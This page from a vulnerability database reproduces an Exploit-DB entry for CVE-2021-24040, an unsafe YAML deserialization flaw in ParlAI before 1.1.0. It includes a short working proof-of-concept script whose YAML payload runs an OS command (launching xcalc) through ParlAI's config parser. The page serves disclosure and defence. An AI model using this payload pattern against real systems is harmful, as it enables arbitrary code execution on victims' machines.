Lucene search
K

Facebook ParlAI 1.0.0 - Deserialization of Untrusted Data in parlai

🗓️ 13 Sep 2021 00:00:00Reported by Abhiram VType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 299 Views

Facebook ParlAI 1.0.0 - Deserialization of Untrusted Data in parlai. Vulnerability in YAML deserialization leading to Arbitrary Code Execution

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Facebook ParlAI 1.0.0 - Deserialization of Untrusted Data in parlai Vulnerability
13 Sep 202100:00
zdt
Circl
CVE-2021-24040
11 Sep 202102:30
circl
CNNVD
parlai 代码问题漏洞
10 Sep 202100:00
cnnvd
CVE
CVE-2021-24040
10 Sep 202122:10
cve
Cvelist
CVE-2021-24040
10 Sep 202122:10
cvelist
EUVD
EUVD-2021-0165
7 Oct 202500:30
euvd
Github Security Blog
Deserialization of Untrusted Data in ParlAI
13 Sep 202120:06
github
NVD
CVE-2021-24040
10 Sep 202122:15
nvd
OSV
CVE-2021-39207
10 Sep 202123:15
osv
OSV
GHSA-M87F-9FVV-2MGG Deserialization of Untrusted Data in parlai
13 Sep 202120:05
osv
Rows per page
# Exploit Title: Facebook ParlAI 1.0.0 -  Deserialization of Untrusted Data in parlai
# Date: 2021-09-11
# Exploit Author: Abhiram V
# Vendor Homepage: https://parl.ai/
# Software Link: https://github.com/facebookresearch/ParlAI
# Version: < 1.1.0
# Tested on: Linux
# CVE: CVE-2021-24040
# References : 
# https://github.com/facebookresearch/ParlAI/security/advisories/GHSA-m87f-9fvv-2mgg
# | https://anon-artist.github.io/blogs/blog3.html |

############################################################################

Introduction
ParlAI (pronounced “par-lay”) is a free, open-source python framework for
sharing, training and evaluating AI models on a variety of openly available
dialogue datasets.

############################################################################

Vulnerability details

############################################################################

Description
ParlAI was vulnerable to YAML deserialization attack caused by unsafe
loading which leads to Arbitrary Code Execution.

Proof of Concept

Create the following PoC file (exploit.py)

import os
#os.system('pip3 install parlai')
from parlai.chat_service.utils import config
exploit = """!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('xcalc')"
"""
open('config.yml','w+').write(exploit)
config.parse_configuration_file('config.yml')

Execute the python script ie, python3 exploit.py

Impact
Code Execution

############################################################################

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation